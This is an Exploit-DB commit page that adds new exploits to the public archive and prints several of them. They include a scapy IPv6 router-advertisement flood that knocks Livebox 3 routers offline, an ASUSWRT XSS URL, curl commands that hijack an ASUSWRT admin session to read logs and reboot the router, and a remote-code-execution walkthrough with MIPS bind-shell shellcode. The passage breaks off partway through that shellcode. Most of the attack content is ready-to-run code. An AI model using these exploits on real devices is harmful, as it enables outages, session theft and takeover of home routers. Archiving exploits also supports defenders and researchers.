DB: 2017-03-10
20 new exploits Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service Apache Struts2 - Skill Name Remote Code Execution Apache Struts 2 - Skill Name Remote Code Execution Linux - Reverse Shell Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Linux - TCP Reverse Shell Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Apache Struts2 < 2.3.1 - Multiple Vulnerabilities Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities Country on Sale Script - SQL Injection Media Search Engine Script - 'search' Parameter SQL Injection Soundify 1.1 - 'tid' Parameter SQL Injection BistroStays 3.0 - 'guests' Parameter SQL Injection Nlance 2.2 - SQL Injection Busewe 1.2 - SQL Injection Fashmark 1.2 - 'category' Parameter SQL Injection TradeMart 1.1 - SQL Injection Drupal 7.x Module Services - Remote Code Execution WordPress Plugin Mac Photo Gallery 3.0 - Arbitrary File Download WordPress Plugin Apptha Slider Gallery 1.0 - SQL Injection WordPress Plugin Apptha Slider Gallery 1.0 - Arbitrary File Download WordPress Plugin PICA Photo Gallery 1.0 - SQL Injection Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Cross-Site Scripting ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Remote Code Execution FTP Voyager Scheduler 16.2.0 - Cross-Site Request Forgery
This commit is contained in:
Offensive Security
parent
06a7933be4
commit
6e7ec5be32
21 changed files with 1350 additions and 22 deletions
29
files.csv
29
files.csv
|
|
@ -5388,6 +5388,7 @@ id,file,description,date,author,platform,type,port
|
|||
41475,platforms/windows/dos/41475.py,"Synchronet BBS 3.16c - Denial of Service",2017-02-28,"Peter Baris",windows,dos,0
|
||||
41537,platforms/hardware/dos/41537.py,"Conext ComBox 865-1058 - Denial of Service",2017-03-02,"Mark Liapustin and Arik Kublanov",hardware,dos,0
|
||||
41547,platforms/windows/dos/41547.py,"Evostream Media Server 1.7.1 (x64) - Denial of Service",2017-03-07,"Peter Baris",windows,dos,0
|
||||
41565,platforms/hardware/dos/41565.py,"Livebox 3 Sagemcom SG30_sip-fr-5.15.8.1 - Denial of Service",2017-03-09,"Quentin Olagne",hardware,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
|
@ -14908,7 +14909,7 @@ id,file,description,date,author,platform,type,port
|
|||
37600,platforms/multiple/remote/37600.rb,"Western Digital Arkeia - Remote Code Execution (Metasploit) (2)",2015-07-13,Metasploit,multiple,remote,617
|
||||
37611,platforms/windows/remote/37611.php,"Impero Education Pro - System Remote Command Execution",2015-07-14,slipstream,windows,remote,0
|
||||
37628,platforms/hardware/remote/37628.rb,"D-Link - Cookie Command Execution (Metasploit)",2015-07-17,Metasploit,hardware,remote,0
|
||||
37647,platforms/multiple/remote/37647.txt,"Apache Struts2 - Skill Name Remote Code Execution",2012-08-23,kxlzx,multiple,remote,0
|
||||
37647,platforms/multiple/remote/37647.txt,"Apache Struts 2 - Skill Name Remote Code Execution",2012-08-23,kxlzx,multiple,remote,0
|
||||
37655,platforms/windows/remote/37655.c,"Adobe Pixel Bender Toolkit2 - 'tbbmalloc.dll' Multiple DLL Loading Code Execution Vulnerabilities",2012-08-23,coolkaveh,windows,remote,0
|
||||
37688,platforms/php/remote/37688.txt,"PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection",2011-10-06,"Mr. Tokumaru",php,remote,0
|
||||
37667,platforms/java/remote/37667.rb,"SysAid Help Desk 'rdslogs' - Arbitrary File Upload (Metasploit)",2015-07-21,Metasploit,java,remote,0
|
||||
|
|
@ -15926,10 +15927,10 @@ id,file,description,date,author,platform,type,port
|
|||
41282,platforms/lin_x86/shellcode/41282.nasm,"Linux/x86 - Reverse TCP Alphanumeric Staged Shellcode (103 bytes)",2017-02-08,"Snir Levi",lin_x86,shellcode,0
|
||||
41375,platforms/linux/shellcode/41375.c,"Linux - Dual/Multi mode Bind Shell Shellcode (156 bytes)",2017-02-16,odzhancode,linux,shellcode,0
|
||||
41381,platforms/win_x86/shellcode/41381.c,"Windows x86 - Protect Process Shellcode (229 bytes)",2017-02-17,"Ege Balci",win_x86,shellcode,0
|
||||
41398,platforms/linux/shellcode/41398.nasm,"Linux - Reverse Shell Shellcode (65 bytes)",2017-02-19,"Robert L. Taylor",linux,shellcode,0
|
||||
41403,platforms/lin_x86/shellcode/41403.c,"Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes)",2017-02-20,"Krzysztof Przybylski",lin_x86,shellcode,0
|
||||
41398,platforms/lin_x86-64/shellcode/41398.nasm,"Linux - TCP Reverse Shell Shellcode (65 bytes)",2017-02-19,"Robert L. Taylor",lin_x86-64,shellcode,0
|
||||
41403,platforms/lin_x86/shellcode/41403.c,"Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes)",2017-02-20,lu0xheap,lin_x86,shellcode,0
|
||||
41439,platforms/linux/shellcode/41439.c,"Linux/x86-64 - Egghunter Shellcode (38 bytes)",2017-02-23,odzhancode,linux,shellcode,0
|
||||
41467,platforms/win_x86/shellcode/41467.c,"Windows x86 - Executable Directory Search Shellcode (130 bytes)",2017-02-26,"Krzysztof Przybylski",win_x86,shellcode,0
|
||||
41467,platforms/win_x86/shellcode/41467.c,"Windows x86 - Executable Directory Search Shellcode (130 bytes)",2017-02-26,lu0xheap,win_x86,shellcode,0
|
||||
41468,platforms/lin_x86-64/shellcode/41468.nasm,"Linux/x86-64 - Random Listener Shellcode (54 bytes)",2017-02-26,"Robert L. Taylor",lin_x86-64,shellcode,0
|
||||
41477,platforms/linux/shellcode/41477.c,"Linux/x86-64 - Reverse Shell Shellcode (84 bytes)",2017-02-28,"Manuel Mancera",linux,shellcode,0
|
||||
41481,platforms/win_x86/shellcode/41481.asm,"Windows x86 - Reverse TCP Staged Alphanumeric Shellcode (332 Bytes)",2017-03-01,"Snir Levi",win_x86,shellcode,0
|
||||
|
|
@ -25294,7 +25295,7 @@ id,file,description,date,author,platform,type,port
|
|||
19381,platforms/php/webapps/19381.php,"SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution",2012-06-23,EgiX,php,webapps,0
|
||||
18322,platforms/php/webapps/18322.txt,"TinyWebGallery 1.8.3 - Remote Command Execution",2012-01-06,Expl0!Ts,php,webapps,0
|
||||
18985,platforms/php/webapps/18985.txt,"pyrocms 2.1.1 - Multiple Vulnerabilities",2012-06-05,LiquidWorm,php,webapps,0
|
||||
18329,platforms/multiple/webapps/18329.txt,"Apache Struts2 < 2.3.1 - Multiple Vulnerabilities",2012-01-06,"SEC Consult",multiple,webapps,0
|
||||
18329,platforms/multiple/webapps/18329.txt,"Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities",2012-01-06,"SEC Consult",multiple,webapps,0
|
||||
18330,platforms/php/webapps/18330.txt,"WordPress Plugin pay with tweet 1.1 - Multiple Vulnerabilities",2012-01-06,"Gianluca Brindisi",php,webapps,0
|
||||
18335,platforms/php/webapps/18335.txt,"MangosWeb - SQL Injection",2012-01-08,Hood3dRob1n,php,webapps,0
|
||||
18338,platforms/php/webapps/18338.txt,"phpMyDirectory.com 1.3.3 - SQL Injection",2012-01-08,Serseri,php,webapps,0
|
||||
|
|
@ -37469,3 +37470,21 @@ id,file,description,date,author,platform,type,port
|
|||
41552,platforms/php/webapps/41552.txt,"Videohive Clone Script - SQL Injection",2017-03-08,"Ihsan Sencan",php,webapps,0
|
||||
41553,platforms/php/webapps/41553.txt,"Envato Clone Script - SQL Injection",2017-03-08,"Ihsan Sencan",php,webapps,0
|
||||
41554,platforms/multiple/webapps/41554.html,"Navetti PricePoint 4.6.0.0 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery",2017-03-08,"SEC Consult",multiple,webapps,0
|
||||
41556,platforms/php/webapps/41556.txt,"Country on Sale Script - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41557,platforms/php/webapps/41557.txt,"Media Search Engine Script - 'search' Parameter SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41558,platforms/php/webapps/41558.txt,"Soundify 1.1 - 'tid' Parameter SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41559,platforms/php/webapps/41559.txt,"BistroStays 3.0 - 'guests' Parameter SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41560,platforms/php/webapps/41560.txt,"Nlance 2.2 - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41561,platforms/php/webapps/41561.txt,"Busewe 1.2 - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41562,platforms/php/webapps/41562.txt,"Fashmark 1.2 - 'category' Parameter SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41563,platforms/php/webapps/41563.txt,"TradeMart 1.1 - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41564,platforms/php/webapps/41564.php,"Drupal 7.x Module Services - Remote Code Execution",2017-03-09,"Charles Fol",php,webapps,0
|
||||
41566,platforms/php/webapps/41566.txt,"WordPress Plugin Mac Photo Gallery 3.0 - Arbitrary File Download",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41567,platforms/php/webapps/41567.txt,"WordPress Plugin Apptha Slider Gallery 1.0 - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41568,platforms/php/webapps/41568.txt,"WordPress Plugin Apptha Slider Gallery 1.0 - Arbitrary File Download",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41569,platforms/php/webapps/41569.txt,"WordPress Plugin PICA Photo Gallery 1.0 - SQL Injection",2017-03-09,"Ihsan Sencan",php,webapps,0
|
||||
41570,platforms/linux/webapps/41570.py,"Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution",2017-03-07,"Vex Woo",linux,webapps,0
|
||||
41571,platforms/hardware/webapps/41571.txt,"ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Cross-Site Scripting",2017-03-08,"Bruno Bierbaumer",hardware,webapps,0
|
||||
41572,platforms/hardware/webapps/41572.txt,"ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing",2017-03-08,"Bruno Bierbaumer",hardware,webapps,0
|
||||
41573,platforms/hardware/webapps/41573.txt,"ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Remote Code Execution",2017-03-08,"Bruno Bierbaumer",hardware,webapps,0
|
||||
41574,platforms/xml/webapps/41574.html,"FTP Voyager Scheduler 16.2.0 - Cross-Site Request Forgery",2017-03-10,hyp3rlinx,xml,webapps,52986
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
50
platforms/hardware/dos/41565.py
Executable file
50
platforms/hardware/dos/41565.py
Executable file
|
|
@ -0,0 +1,50 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3
|
||||
# Date: 09/03/2017
|
||||
# Exploit Author: Quentin Olagne
|
||||
# Vendor Homepage: http://www.orange.fr/
|
||||
# Version: SG30_sip-fr-5.15.8.1
|
||||
# Tested on: Livebox 3 - Sagemcom
|
||||
# CVE : CVE-2017-6552
|
||||
|
||||
'''
|
||||
Livebox router has its default IPv6 routing table max. size too
|
||||
small and therefore can be filled within minutes.
|
||||
An attacker can exploit this issue to render the affected system
|
||||
unresponsive, resulting in a denial-of-service condition for Phone,
|
||||
Internet and TV services.
|
||||
|
||||
Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware.
|
||||
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin
|
||||
livebox web UI, don't know if it's been implemented.
|
||||
|
||||
'''
|
||||
|
||||
from scapy.all import *
|
||||
import time
|
||||
import threading
|
||||
|
||||
start_time = time.time()
|
||||
|
||||
def printit():
|
||||
threading.Timer(5.0, printit).start()
|
||||
interval = time.time() - start_time
|
||||
print 'Total time in seconds:', interval, '\n'
|
||||
|
||||
printit()
|
||||
|
||||
packet = Ether() \
|
||||
/IPv6() \
|
||||
/ICMPv6ND_RA() \
|
||||
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
|
||||
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))
|
||||
|
||||
try:
|
||||
sendp(packet,loop=1)
|
||||
except KeyboardInterrupt:
|
||||
stored_exception=sys.exc_info()
|
||||
except:
|
||||
pass
|
||||
|
||||
print "Goodbye"
|
||||
22
platforms/hardware/webapps/41571.txt
Executable file
22
platforms/hardware/webapps/41571.txt
Executable file
|
|
@ -0,0 +1,22 @@
|
|||
Cross-Site Scripting (XSS)
|
||||
|
||||
Component: httpd
|
||||
|
||||
CVE: CVE-2017-6547
|
||||
|
||||
Vulnerability:
|
||||
|
||||
httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.
|
||||
|
||||
...
|
||||
|
||||
if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
|
||||
{
|
||||
char inviteCode[256];
|
||||
snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
|
||||
send_page( 200, "OK", (char*) 0, inviteCode, 0);
|
||||
|
||||
...
|
||||
PoC:
|
||||
|
||||
http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A
|
||||
56
platforms/hardware/webapps/41572.txt
Executable file
56
platforms/hardware/webapps/41572.txt
Executable file
|
|
@ -0,0 +1,56 @@
|
|||
Session Stealing
|
||||
|
||||
Component: httpd
|
||||
|
||||
CVE: CVE-2017-6549
|
||||
|
||||
Vulnerability:
|
||||
|
||||
httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.
|
||||
|
||||
asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
|
||||
{
|
||||
asus_token_t *ptr = head;
|
||||
asus_token_t *tmp = NULL;
|
||||
int found = 0;
|
||||
char *cp = NULL;
|
||||
|
||||
while(ptr != NULL)
|
||||
{
|
||||
if(!strncmp(token, ptr->token, 32)) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
else if(strncmp(token, "cgi_logout", 10) == 0) {
|
||||
cp = strtok(ptr->useragent, "-");
|
||||
|
||||
if(strcmp(cp, "asusrouter") != 0) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
tmp = ptr;
|
||||
ptr = ptr->next;
|
||||
}
|
||||
}
|
||||
|
||||
if(found == 1) {
|
||||
if(prev)
|
||||
*prev = tmp;
|
||||
return ptr;
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.
|
||||
|
||||
PoC:
|
||||
|
||||
# read syslog
|
||||
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt
|
||||
|
||||
#reboot router
|
||||
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
|
||||
It’s possible to execute arbitrary commands on the router if any admin session is currently active.
|
||||
440
platforms/hardware/webapps/41573.txt
Executable file
440
platforms/hardware/webapps/41573.txt
Executable file
|
|
@ -0,0 +1,440 @@
|
|||
Remote Code Execution
|
||||
|
||||
Component: networkmap
|
||||
|
||||
CVE: CVE-2017-6548
|
||||
|
||||
networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers.
|
||||
|
||||
This is implemented by sending out multicast SSP discoveries:
|
||||
|
||||
M-SEARCH * HTTP/1.1
|
||||
HOST: 239.255.255.250:1900
|
||||
ST:upnp:rootdevice
|
||||
MAN:"ssdp:discover"
|
||||
MX:3
|
||||
A device can then respond with messages which indicate the location of the iTunes service.
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Location:HTTP://host:port/path
|
||||
Vulnerability:
|
||||
|
||||
The function process_device_repsonse is responsible for parsing the SSDP answer:
|
||||
|
||||
|
||||
/************************************************************************************************/
|
||||
// process the device response "HTTP/1.1 200 OK"
|
||||
int process_device_response(char *msg)
|
||||
{
|
||||
char *line, *body, *p; // temporary variables
|
||||
char *location = NULL; // the LOCATION: header
|
||||
char host[16], port[6]; // the ip and port of the device
|
||||
ushort destport; // the integer type of device port
|
||||
char *data = NULL; // the data in packet
|
||||
int http_fd; // the http socket fd
|
||||
int nbytes; // recv number
|
||||
int i;
|
||||
char *descri = NULL;
|
||||
int len;
|
||||
struct timeval timeout={10, 0};
|
||||
|
||||
//search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
|
||||
if( (body = strstr(msg, "\r\n\r\n")) != NULL)
|
||||
body +=4;
|
||||
else if ( (body = strstr(msg, "\r\n")) != NULL)
|
||||
body +=2;
|
||||
else
|
||||
return 0;
|
||||
|
||||
p = msg;
|
||||
// find the LOCATION information.
|
||||
while( p!= NULL && p < body)
|
||||
{
|
||||
line = strsep(&p, "\r\n"); //divide up string
|
||||
if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
|
||||
{
|
||||
location = strip_chars(&line[9], "\t");
|
||||
location = strip_chars(&line[9], " ");
|
||||
break;
|
||||
}
|
||||
}
|
||||
NMP_DEBUG_F("UPnP location=%s\n", location);
|
||||
//fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau
|
||||
// get the destination ip
|
||||
location += 7;
|
||||
i = 0;
|
||||
while( (*location != ':') && (*location != '/')) {
|
||||
host[i] = *location++;
|
||||
i++;
|
||||
}
|
||||
host[i] = '\0';
|
||||
//get the destination port
|
||||
if(*location == ':') {
|
||||
for(location++, i =0; *location != '/'; i++)
|
||||
port[i] = *location++;
|
||||
port[i] = '\0';
|
||||
destport = (ushort)atoi(port);
|
||||
}
|
||||
else
|
||||
destport = 80;
|
||||
It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack.
|
||||
|
||||
Parsing this message:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
|
||||
will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation.
|
||||
|
||||
Exploitation:
|
||||
|
||||
In order to develop a working exploit we gather further information of the system.
|
||||
|
||||
General Information:
|
||||
|
||||
ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes.
|
||||
|
||||
# cat /proc/cpuinfo
|
||||
system type : MT7620
|
||||
processor : 0
|
||||
cpu model : MIPS 24Kc V5.0
|
||||
BogoMIPS : 386.04
|
||||
wait instruction : yes
|
||||
microsecond timers : yes
|
||||
tlb_entries : 32
|
||||
extra interrupt vector : yes
|
||||
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
|
||||
ASEs implemented : mips16 dsp
|
||||
shadow register sets : 1
|
||||
core : 0
|
||||
VCED exceptions : not available
|
||||
VCEI exceptions : not available
|
||||
|
||||
# ps
|
||||
PID USER VSZ STAT COMMAND
|
||||
1 admin 3940 S /sbin/init
|
||||
2 admin 0 SW [kthreadd]
|
||||
3 admin 0 SW [ksoftirqd/0]
|
||||
4 admin 0 SW [kworker/0:0]
|
||||
5 admin 0 SW [kworker/u:0]
|
||||
6 admin 0 SW< [khelper]
|
||||
7 admin 0 SW [sync_supers]
|
||||
8 admin 0 SW [bdi-default]
|
||||
9 admin 0 SW< [kintegrityd]
|
||||
10 admin 0 SW< [kblockd]
|
||||
11 admin 0 SW [kswapd0]
|
||||
12 admin 0 SW [fsnotify_mark]
|
||||
13 admin 0 SW< [crypto]
|
||||
17 admin 0 SW [mtdblock0]
|
||||
18 admin 0 SW [mtdblock1]
|
||||
19 admin 0 SW [mtdblock2]
|
||||
20 admin 0 SW [mtdblock3]
|
||||
21 admin 0 SW [mtdblock4]
|
||||
22 admin 0 SW [mtdblock5]
|
||||
23 admin 0 SW [kworker/u:1]
|
||||
30 admin 0 SW [kworker/0:1]
|
||||
41 admin 660 S hotplug2 --persistent --no-coldplug
|
||||
76 admin 3924 S console
|
||||
78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
|
||||
80 admin 1276 S /sbin/klogd -c 5
|
||||
82 admin 1292 S /bin/sh
|
||||
115 admin 0 SW [RtmpCmdQTask]
|
||||
116 admin 0 SW [RtmpWscTask]
|
||||
135 admin 0 SW [RtmpCmdQTask]
|
||||
136 admin 0 SW [RtmpWscTask]
|
||||
164 admin 3932 S /sbin/wanduck
|
||||
168 admin 1128 S dropbear -p 192.168.1.1:22 -a
|
||||
175 admin 3932 S wpsaide
|
||||
189 nobody 1056 S dnsmasq --log-async
|
||||
194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local]
|
||||
196 admin 4112 S httpd -i br0
|
||||
197 admin 1068 S /usr/sbin/infosvr br0
|
||||
199 admin 3932 S watchdog
|
||||
201 admin 2180 S rstats
|
||||
210 admin 1160 S lld2d br0
|
||||
211 admin 3932 S ots
|
||||
224 admin 800 S miniupnpd -f /etc/upnp/config
|
||||
229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
|
||||
302 admin 1152 S dropbear -p 192.168.1.1:22 -a
|
||||
303 admin 1300 S -sh
|
||||
344 admin 1128 S networkmap
|
||||
359 admin 1280 R ps
|
||||
|
||||
# uname -a
|
||||
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
|
||||
Memory Map:
|
||||
|
||||
networkmap’s memory map is analyzed to continue exploiting the device.
|
||||
|
||||
# cat /proc/$(pidof networkmap)/maps
|
||||
00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap
|
||||
0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap
|
||||
0041b000-0041f000 rwxp 00000000 00:00 0 [heap]
|
||||
2b893000-2b894000 rw-p 00000000 00:00 0
|
||||
2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0
|
||||
2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted)
|
||||
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted)
|
||||
2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0
|
||||
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0
|
||||
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so
|
||||
2b8d9000-2b8e8000 ---p 00000000 00:00 0
|
||||
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so
|
||||
2b8eb000-2b8ed000 rw-p 00000000 00:00 0
|
||||
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so
|
||||
2b8ef000-2b8ff000 ---p 00000000 00:00 0
|
||||
2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so
|
||||
2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1
|
||||
2b90e000-2b91e000 ---p 00000000 00:00 0
|
||||
2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1
|
||||
2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0
|
||||
2b95a000-2b96a000 ---p 00000000 00:00 0
|
||||
2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0
|
||||
2b96b000-2b96f000 rw-p 00000000 00:00 0
|
||||
2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram
|
||||
7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack]
|
||||
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
|
||||
Observations:
|
||||
|
||||
Partial ASLR is activated:
|
||||
|
||||
Stack address is randomized
|
||||
Library addresses are randomized
|
||||
Program address is not randomized
|
||||
Heap address is not randomized
|
||||
There is no Stack-Protector
|
||||
|
||||
Both heap and stack are mapped executable
|
||||
|
||||
The binary contains almost no gadgets suitable for building a ROP chain
|
||||
|
||||
Exploit:
|
||||
|
||||
The final exploit consists of the following steps:
|
||||
|
||||
Starting a webserver serving shellcode
|
||||
Listening for multicast UDP messages send by the router
|
||||
Database clearing / crashing: to make the heap layout predictable
|
||||
Randomizing MAC address
|
||||
Send message: jump to gadget that deletes networkmap’s database and crashes
|
||||
networkmap will be restarted
|
||||
Spraying heap 1, 2:
|
||||
Randomizing MAC address
|
||||
Send message: containing the webserver’s IP+port
|
||||
networkmap will receive shellcode and store it on the heap
|
||||
Starting payload
|
||||
Randomize MAC address
|
||||
Send message: jump to heap address containing the shellcode
|
||||
Connect to opened shell
|
||||
For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py)
|
||||
|
||||
Example:
|
||||
|
||||
# ./networkmap-pwn.py
|
||||
[-] starting webserver
|
||||
[-] received SSP discovery
|
||||
[-] clearing database and crashing
|
||||
[-] received SSP discovery
|
||||
[-] spraying heap 1/2
|
||||
[-] got shellcode request
|
||||
[-] sending shellcode
|
||||
[-] received SSP discovery
|
||||
[-] spraying heap 2/2
|
||||
[-] received SSP discovery
|
||||
[-] starting payload
|
||||
[-] try to connect to shell
|
||||
[-] try to connect to shell
|
||||
[+] connected
|
||||
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
|
||||
[+] pwned
|
||||
|
||||
|
||||
|
||||
|
||||
---networkmap-pwn.py---
|
||||
#!/usr/bin/env python3
|
||||
# ASUSWRT networkmap Remote Code Execution
|
||||
# Author: Bruno Bierbaumer
|
||||
# Date: 24/02/2017
|
||||
# Tested version:
|
||||
# RT-AC53 (3.0.0.4.380.6038)
|
||||
# CVE: TODO
|
||||
|
||||
# Description:
|
||||
# networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code.
|
||||
|
||||
|
||||
ROUTER_IP = '192.168.1.1'
|
||||
IP = '192.168.1.2'
|
||||
INTERACE = 'enp0s31f6'
|
||||
|
||||
"""
|
||||
Shellcode adjusted from https://www.exploit-db.com/exploits/13298/
|
||||
"""
|
||||
|
||||
sc = b"\x41\x41\x04\x28" *1400 # nops
|
||||
#alarm handling
|
||||
sc += b"\xff\xff\x04\x28" # a0 <- 0 */
|
||||
sc += b"\xbb\x0f\x02\x24" # li v0,4027 ( __alarm ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
#/alarm
|
||||
sc += b"\xe0\xff\xbd\x27" # addiu sp,sp,-32 */
|
||||
sc += b"\xfd\xff\x0e\x24" # li t6,-3 */
|
||||
sc += b"\x27\x20\xc0\x01" # nor a0,t6,zero */
|
||||
sc += b"\x27\x28\xc0\x01" # nor a1,t6,zero */
|
||||
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
|
||||
sc += b"\x57\x10\x02\x24" # li v0,4183 ( __NR_socket ) */
|
||||
sc += b"\x0c\x01\x01\x01" # syscall */
|
||||
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
|
||||
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
|
||||
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
|
||||
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
|
||||
sc += b"\x13\x37\x0d\x24" # li t5,0x3713 (port 0x1337) */
|
||||
sc += b"\x04\x68\xcd\x01" # sllv t5,t5,t6 */
|
||||
sc += b"\xff\xfd\x0e\x24" # li t6,-513 */
|
||||
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
|
||||
sc += b"\x25\x68\xae\x01" # or t5,t5,t6 */
|
||||
sc += b"\xe0\xff\xad\xaf" # sw t5,-32(sp) */
|
||||
sc += b"\xe4\xff\xa0\xaf" # sw zero,-28(sp) */
|
||||
sc += b"\xe8\xff\xa0\xaf" # sw zero,-24(sp) */
|
||||
sc += b"\xec\xff\xa0\xaf" # sw zero,-20(sp) */
|
||||
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
|
||||
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
|
||||
sc += b"\x27\x30\xc0\x01" # nor a2,t6,zero */
|
||||
